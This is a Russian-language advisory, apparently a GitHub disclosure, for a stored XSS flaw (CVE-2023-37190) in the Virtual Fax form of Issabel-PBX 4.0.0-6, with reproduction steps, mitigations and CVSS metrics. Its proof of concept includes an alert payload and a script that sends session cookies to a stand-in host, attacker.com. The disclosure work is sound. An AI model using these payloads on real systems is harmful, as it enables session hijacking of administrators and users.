
В Issabel-PBX версии 4.0.0-6 существует уязвимость хранимого межсайтового скриптинга (Stored Cross-Site Scripting, XSS). Приложение не выполняет надлежащую очистку и кодирование пользовательского ввода перед сохранением его в базе данных и последующим отображением в веб-интерфейсе.
| Поле | Детали |
|---|---|
| Идентификатор CVE | CVE-2023-37190 |
| Уязвимость | Хранимый межсайтовый скриптинг (XSS) |
| Затронутый продукт | Issabel-PBX |
| Затронутая версия | 4.0.0-6 |
| Серьёзность | Средний (оценка CVSS v3.1: 5.4) |
| Обнаружил | Sahil Ojha |
| Дата раскрытия | 07 июля 2023 |
| Производитель | Issabel |
| Исходный код | IssabelFoundation/issabelPBX |
| Протестировано на | Windows |
В Issabel-PBX версии 4.0.0-6 существует уязвимость хранимого межсайтового скриптинга (XSS). Приложение не выполняет надлежащую санитизацию и кодирование пользовательского ввода перед сохранением его в базе данных и последующим выводом в веб-интерфейсе.
Уязвимость присутствует в модуле Virtual Fax, а именно в форме создания "New Virtual Fax". Два входных параметра — Virtual Fax Name и Caller ID Name — не проходят достаточную проверку входных данных или кодирование вывода. Это позволяет аутентифицированному злоумышленнику с низкими привилегиями внедрить и постоянно сохранить вредоносную JavaScript-нагрузку в приложении.
После сохранения вредоносный скрипт автоматически выполняется в браузере любого пользователя (включая администраторов), который посещает затронутую страницу, без каких-либо дополнительных действий со стороны злоумышленника.
Злоумышленник, успешно эксплуатирующий эту уязвимость, может:
Поскольку нагрузка является хранимой (постоянной), она затрагивает каждого пользователя, посещающего уязвимую страницу, до тех пор, пока не будет удалена — что делает эту уязвимость более серьёзной, чем отражённый XSS.
Virtual Fax NameCaller ID NameШаг 1: Войдите в веб-приложение Issabel-PBX, используя действительные учётные данные.
Шаг 2: Перейдите в раздел Fax → Virtual Fax → New Virtual Fax.
Внедрите следующую XSS-нагрузку в поля Virtual Fax Name и/или Caller ID Name:
<script>alert('XSS-CVE-2023-37190')</script>
Более впечатляющая proof-of-concept нагрузка, демонстрирующая кражу файлов cookie сеанса (обратите внимание: в реальных атаках используется HTTPS, чтобы избежать перехвата похищенных cookie при передаче):
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
Заполненная форма с внедрённой нагрузкой должна выглядеть примерно так, как показано на снимке экрана ниже:

Шаг 3: Нажмите кнопку Save, чтобы отправить форму. Нагрузка теперь постоянно сохранена в базе данных приложения.
Шаг 4: Перейдите на страницу списка Virtual Fax (или попросите другого пользователя — например, администратора — посетить эту страницу). Сохранённый скрипт автоматически выполнится в браузере посетителя, как показано ниже:

Пользователям и администраторам Issabel-PBX настоятельно рекомендуется применить следующие меры:
<, >, ", ', &).Content-Security-Policy, чтобы ограничить источники, из которых могут выполняться скрипты, снизив воздействие XSS-уязвимостей.Sahil Ojha
Исследователь в области безопасности
GitHub: @sahiloj
Отказ от ответственности: Этот репозиторий предназначен только для образовательных целей и ответственного раскрытия информации. Приведённая здесь информация не должна использоваться для атак на системы без явного письменного разрешения владельца системы. Автор не несёт ответственности за любое неправомерное использование этой информации.
| Метрика | Значение |
|---|
| Базовый балл | 5.4 (Средний) |
| Вектор атаки | Сеть |
| Сложность атаки | Низкая |
| Требуемые привилегии | Низкие |
| Взаимодействие с пользователем | Требуется |
| Область действия | Изменена |
| Конфиденциальность | Низкая |
| Целостность | Низкая |
| Доступность | Отсутствует |